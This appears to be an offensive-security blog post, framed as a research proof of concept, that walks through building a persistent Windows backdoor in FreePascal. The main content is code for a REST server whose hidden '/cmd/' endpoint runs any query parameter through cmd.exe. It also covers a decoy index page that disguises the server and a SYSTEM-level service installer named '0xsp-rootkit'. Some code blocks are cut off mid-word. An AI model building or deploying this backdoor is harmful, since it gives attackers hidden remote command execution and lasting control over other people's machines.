Research Agenda
Table of Contents
- Part1 – porting the backdoor for windows (READY)
- Part2 – porting the backdoor for Linux/Unix (IN PROGRESS)
- Part3 – hiding the process (IN PROGRESS)
- Part4 – provision of techniques (IN PROGRESS)
RootKits Definitions
According to Greg Hoglund, a rootkit is “a set of programs and code that allows a permanent or consistent, undetectable presence on a computer.” This is a reasonable top-level definition, but it does not really lessen the confusion between old-style “stealth,” newer “stealth kits,” and rootkits.
A rootkit is a kind of toolkit usually associated with the attempt to gain privileged access or to maintain that access by concealing the fact that the system has been compromised and continuing to make use of that compromise by deploying a bunch of techniques in order to gain :
- Persistent access to the system
- Allow the individual and/or software to make use of that access in whatever way he chooses
- Open ports / malicious services
- Process and handles
- Files and registry entries
Building PoC
This research aims to spotlight uncovered techniques that might be used to maintain persistent access to the operating system. Basically, we will build a simple Restful API server running over a specific network port and then implement a way to allow remote attack communication into a hidden API endpoint to execute server-side system commands and transfer back the results in JSON format.
Moreover, we will develop a daemon background application that requires administrative privileges to install the malicious server into system services to gain permanent access.
Building Restful API Server
We will create a fully Restful API server using only the packages bundled with FreePascal and Lazarus; no frameworks or other tools are required. In the end, we will create an end-point that stands for server-side system command execution, and since JSON is standard for transferring non-binary data via Web protocols, we will use it.
From Lazarus -> simple program -> create a new project
then we define the uses sections as code block below :
{$IFDEF UNIX}cthreads, cmem,{$ENDIF}
{$IFDEF MSWINDOWS}
ServiceManager,
{$ENDIF}
SysUtils,fphttpapp,httpdefs,custweb,custhttpapp,fphttpserver,process, windows,httproute,fpwebfile,fpjson, jsonparser,classes,DaemonApp;
Code language: PHP (php)
I have added a conditional definition $IFDEF if you want to port the same code into another operating system such as ( Unix, Linux ..etc.). And now, we can add the first procedure for sending JSON response content.
procedure jsonResponse(var res: TResponse; data: String);
begin
res.Content := data;
res.Code := 200;
res.ContentType := 'application/json';
res.ContentLength := length(res.Content);
res.SendContent;
end;
Code language: JavaScript (javascript)
Next, I will define the first API End-point which stands for server-side execution. I will use the TJsonObject component to handle the function exec_this ( system command execution function ) and send JSON response content.
procedure systemCall(req: TRequest; res: TResponse);
var
jObject : TJSONObject;
bla,outp:string;
begin
jObject := TJSONObject.Create;
try
bla := req.QueryFields.Values['na'];
outp := exec_this(bla);
jObject.Add('cmd', outp);
jsonResponse(res, jObject.AsJSON);
finally
jObject.Free;
end;
end;
Code language: JavaScript (javascript)
and below code block is for the system execution code function
function SystemFolder: string;
begin
SetLength(Result, Windows.MAX_PATH);
SetLength(
Result, Windows.GetSystemDirectory(PChar(Result), Windows.MAX_PATH)
);
end;
function exec_this(command:String):string;
var
Process: Tprocess;
list,outp : Tstringlist;
OutputStream,Param : TStream;
BytesRead : longint;
Buffer : array[1..BUF_SIZE] of byte;
ID: dword;
begin
list := Tstringlist.Create;
outp := Tstringlist.Create;
process := Tprocess.Create(nil);
OutputStream := TMemoryStream.Create;
Param := TMemoryStream.Create; // we are going to store outputs as memory stream .
//Param.
process.Executable:=systemfolder+'\cmd.exe';
process.Parameters.Add('/c');
process.Parameters.Add(command);
process.Options:= Process.Options +[poUsePipes];
// for i:=0 to list.Count-1 do begin
try
process.Execute;
//process.Free;
repeat
// Get the new data from the process to a maximum of the buffer size that was allocated.
// Note that all read(...) calls will block except for the last one, which returns 0 (zero).
BytesRead := Process.Output.Read(Buffer, BUF_SIZE);
OutputStream.Write(Buffer, BytesRead)
until BytesRead = 0; //stop if no more data is being recieved
outputstream.Position:=0;
outp.LoadFromStream(outputstream);
process.ExitCode;
result := outp.Text;
finally
process.Free;
list.Free;
outp.Free;
outputstream.Free;
end;
Code language: PHP (php)
And to run the application, we add the following code for initialization and running
begin
Application.Port := 8000;
HTTPRouter.RegisterRoute('/cmd/', @systemCall, true);
Application.Threaded := true;
Application.Initialize;
Application.Run;
end.
Code language: JavaScript (javascript)
in less than 50 lines; we have crafted a simple Restful API server as an end-point to handle a request and forward the content to the request.
Application Daemon
Our next goal is to make the application runs continuously and handle periodic service requests that a Restful API Server expects to receive. The daemon program forwards the requests to other programs (or processes) as appropriate.
As a summary, we will use the Service Manager interface to install the service into the system and then use Daemon threading to handle the application’s installation and execution. The application will be running as a background process with NT/Authority system level in the end.
You have to pay attention that if we implement the code before to Daemon application mode, it will not work probably because we need functionality to embed the Restful server into the Daemon application thread. So we use the following code block types :
- TMyDaemonApplication = class => run/terminate the Daemon Application
- TMyHttpApplication = class(TCustomHTTPApplication) => FPHTTPServer Component
- TMyDaemonThread = class(TThread) => Deamon thread handling
- { TMyHttpDaemon } => interact with service manager
- TMyHttpDaemonMapper = class(TCustomDaemonMapper) => creation of deamon mappers
{ TMyHttpApplication }
TMyHttpApplication = class(TCustomHTTPApplication)
{ TMyDaemonApplication }
TMyDaemonApplication = class
public
procedure Run;
procedure Terminate;
end;
{ TMyDaemonThread }
TMyDaemonThread = class(TThread)
public
procedure Execute; override;
end;
{ TMyHttpDaemon }
TMyHttpDaemon = class(TCustomDaemon)
private
FThread: TThread;
public
function Install: Boolean; override;
function Uninstall: Boolean; override;
function Start: Boolean; override;
function Stop: Boolean; override;
end;
{ TMyHttpDaemonMapper }
TMyHttpDaemonMapper = class(TCustomDaemonMapper)
public
constructor Create(AOwner: TComponent); override
The next step is to use the following HTTP server function for starting the JSON Restful API server and implement a Web file handler to forward an index page as a technique to masquerade your web application.
procedure rerouteRoot(aRequest: TRequest; aResponse: TResponse);
begin
aResponse.Code := 301;
aResponse.SetCustomHeader('Location', fileLocation + '/index.html');
aResponse.SendContent;
end;
function MyApp: TMyHttpApplication;
begin
if not Assigned(_MyApp) then
begin
_MyApp := TMyHttpApplication.Create(nil);
_MyApp.Port := 8000;
RegisterFileLocation(fileLocation, 'public_html');
HTTPRouter.RegisterRoute('/', @rerouteRoot);
MimeTypesFile := ExtractFilePath(ParamStr(0)) + 'mime.types';
HTTPRouter.RegisterRoute('/cmd/', @systemCall);
_MyApp.Threaded := True;
_MyApp.Initialize;
end;
Result := _MyApp;
end;
Code language: JavaScript (javascript)
and whatever you want to embed it by using the following code block
procedure TMyDaemonThread.Execute; begin MyApp.Run; end;
then, we should start using the Custom Daemon class to install the application into the windows services interface and configure it with other parameter options such as (start or uninstall).
{ TMyHttpDaemon }
function TMyHttpDaemon.Start: Boolean;
begin
Result := inherited Start;
FThread := TMyDaemonThread.Create(True);
FThread.Start;
end;
function TMyHttpDaemon.Stop: Boolean;
begin
Result := inherited Stop;
FThread.Terminate;
end;
function TMyHttpDaemon.Install: Boolean;
{$IFDEF MSWINDOWS}
var
VSM: TServiceManager;
{$ENDIF}
begin
Result := inherited Install;
{$IFDEF MSWINDOWS}
VSM := TServiceManager.Create(nil);
try
VSM.Connect;
if VSM.Connected then
VSM.StartService(MY_HTTP_DAEMON_NAME, nil);
VSM.Disconnect;
finally
VSM.Free;
end;
{$ENDIF}
WriteLn('Service installed.');
end;
function TMyHttpDaemon.Uninstall: Boolean;
{$IFDEF MSWINDOWS}
var
VSM: TServiceManager;
{$ENDIF}
begin
Result := inherited Uninstall;
{$IFDEF MSWINDOWS}
VSM := TServiceManager.Create(nil);
try
VSM.Connect;
if VSM.Connected then
VSM.StopService(MY_HTTP_DAEMON_NAME, True);
VSM.Disconnect;
finally
VSM.Free;
end;
{$ENDIF}
WriteLn('Service uninstalled.');
e
Code language: PHP (php)
Finally, we create a daemon mapper and register the daemon Class in the system. And you should identify the service name and daemon name with a valid description.
var
_MyApp: TMyHttpApplication = nil;
MY_HTTP_DAEMON_DESCRIPTION: string = '0xsp-rootkit.';
MY_HTTP_DAEMON_DISPLAYNAME: string = '0xsp-rootkit';
MY_HTTP_DAEMON_NAME: string = '0xsp-rootkit';
MY_HTTP_DAEMON_CLASSNAME: string = 'TMyHttpDaemon';
{ TMyHttpDaemonMapper }
constructor TMyHttpDaemonMapper.Create(AOwner: TComponent);
var
VDaemonDef: TDaemonDef;
begin
inherited Create(AOwner);
VDaemonDef := DaemonDefs.Add as TDaemonDef;
VDaemonDef.Description := MY_HTTP_DAEMON_DESCRIPTION;
VDaemonDef.DisplayName := MY_HTTP_DAEMON_DISPLAYNAME;
VDaemonDef.Name := MY_HTTP_DAEMON_NAME;
VDaemonDef.DaemonClassName := MY_HTTP_DAEMON_CLASSNAME;
VDaemonDef.WinBindings.ServiceType := stWin32;
end;
begin
RegisterDaemonClass(TMyHttpDaemon);
RegisterDaemonMapper(TMyHttpDaemonMapper);
with TMyDaemonApplication.Create do
try
Run;
finally
Free;
end;
en
Code language: PHP (php)
Accessing the backdoor
after building a binary, we have to install the application using the –install parameter (needs administrative privileges).
After a successful installation of the service, we can clearly notice that the rootkit is up and running successfully, and a neat landing page is completely terrific!.
In order to access the rootkit, you can communicate directly to the malicious end-point by sending a formatted GET request using the Restful API client or any other alternative ways you prefer to use it.
offensive security expert and founder of 0xsp security research and development (SRD), passionate about hacking and breaking stuff, coder and maintainer of 0xsp-mongoose RED, and many other open-source projects